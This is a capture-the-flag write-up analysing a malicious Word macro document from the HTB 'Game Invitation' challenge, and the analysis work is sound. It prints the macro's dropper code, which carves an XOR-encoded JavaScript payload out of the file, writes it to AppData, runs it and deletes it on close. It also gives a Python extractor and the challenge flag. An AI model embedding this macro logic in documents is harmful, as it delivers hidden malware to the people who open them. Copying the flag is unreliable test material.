search

Game Invitation

hashtag
Description

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

hashtag
Solution

We are given a invitation.docm file, which is type of Word Document. If you open it in Word/Libreoffice you will enter safe mode (by default) where VBScript's cannot execute. Libreoffice shows this errors and allows you to browse the macros of current file (Idk about Word 💧).

hashtag
VB Script

chevron-rightscript.vba (Somewhat deobfuscated version)hashtag
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public mailformJs As String
Public globalFilename2 As String

Function xor45(given_string() As Byte, length As Long) As Boolean
    Dim xor_key As Byte
    xor_key = 45
    For i = 0 To length - 1
        given_string(i) = given_string(i) Xor xor_key
        xor_key = ((xor_key Xor 99) Xor (i Mod 254))
        Next i
    result = True
End Function

Sub AutoClose() 'delete the js script'
    On Error Resume Next
        Kill mailformJs
    On Error Resume Next
        Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
        fileSystemObject.DeleteFile globalFilename2 & "\*.*", True
        Set fileSystemObject = Nothing
End Sub

Sub AutoOpen()
    On Error GoTo FINISH
    Dim chkDomain As String
    Dim strUserDomain As String
    chkDomain = "GAMEMASTERS.local"
    strUserDomain = Environ$("UserDomain")
    If chkDomain <> strUserDomain Then
    Else

    Dim freeFile
    Dim file_length As Long
    Dim length As Long
    file_length = FileLen(ActiveDocument.FullName)
    freeFile = FreeFile
    Open (ActiveDocument.FullName) For Binary As #freeFile ' Open document itself
    Dim byteArray() As Byte
    ReDim byteArray(file_length)
    Get #freeFile, 1, byteArray ' Write contents of file into byteArray
    Dim byteArrayAsStr As String 
    byteArrayAsStr = StrConv(byteArray, vbUnicode) ' Convert to string
    Dim regexResultItem, regexResult
    Dim regexpObject
        Set regexpObject = CreateObject("vbscript.regexp")
        regexpObject.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
        Set regexResult = regexpObject.Execute(byteArrayAsStr) ' Look for this pattern
    Dim regexResultItemFirstIndex
    If regexResult.Count = 0 Then
    GoTo FINISH
    End If
    For Each regexResultItem In regexResult
        regexResultItemFirstIndex = regexResultItem.FirstIndex
    Exit For
    Next
    Dim buffer_13082() As Byte
    Dim _13082 As Long
    _13082 = 13082 
    ReDim buffer_13082(_13082) ' Create buffer of 13082 and store xored data into it 
    Get #freeFile, regexResultItemFirstIndex + 81, buffer_13082
    If Not xor45(buffer_13082(), _13082 + 1) Then
        GoTo FINISH
    End If
    globalFilename2 = Environ("appdata") & "\Microsoft\Windows"
    Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
    If Not fileSystemObject.FolderExists(globalFilename2) Then
        globalFilename2 = Environ("appdata")
    End If
    Set fileSystemObject = Nothing
    Dim freeFile2
    freeFile2 = FreeFile
    mailformJs = globalFilename2 & "\" & "mailform.js"
    Open (mailformJs) For Binary As #freeFile2
        Put #freeFile2, 1, buffer_13082
        Close #freeFile2
    Erase buffer_13082
    Set shellObject = CreateObject("WScript.Shell")
    shellObject.Run """" + mailformJs + """" + " vF8rdgMHKBrvCoCp0ulm"
    ActiveDocument.Save
    Exit Sub
    FINISH:
        Close #freeFile2
        ActiveDocument.Save
    End If
End Sub

The script reads itself (document), searches for string pattern, after pattern it reads 13082 bytes, performs XOR on that data and writes to file mailform.js.

Important to note this command being ran, command argument is used in later stage.

shellObject.Run """" + mailformJs + """" + " vF8rdgMHKBrvCoCp0ulm"

hashtag
mailform.js (Level 1)

Extract file

Extract the file using logic of vb script. (Instead of handling file I just redirected stream to other file)

import re

def xor45(given_string: bytes, length: int) -> bool:
    xor_key = 45
    for i in range(length - 1):
        given_string[i] = given_string[i] ^ xor_key
        xor_key = ((xor_key ^ 99) ^ (i % 254))
    return given_string

pattern = b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa'
buffer_length = 13082

with open('./invitation.docm', 'rb') as f:
    data = f.read()

match = re.search(pattern, data).end()
buffer = data[match:match+buffer_length+1]
result = xor45(bytearray(buffer), buffer_length)
print(result)

Deobfuscate JS

Result is highly obfuscated javascript file, I used https://deobfuscate.relative.imarrow-up-right tool to deobfuscate the javascript (probably best deobfuscator?).

The javascript file does lots of operations, but in the end it does eval. This call can be intercepted, because eval takes javascript code and we can simply change eval to console.log to see what is getting passed to it.

WScript.Arguments in script probably refers to command line arguments, since we intercepted vbscript we know the argument and it can be set manually.

chevron-rightmailform.deobfuscated.jshashtag

hashtag
mailform.js (Level 2)

chevron-rightmailform.2.deobfuscated.jshashtag

The script does a lot, briefly looking over it I noticed something interesting:

circle-check

Flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

PreviousPursue The TracksNextPhreaky

Last updated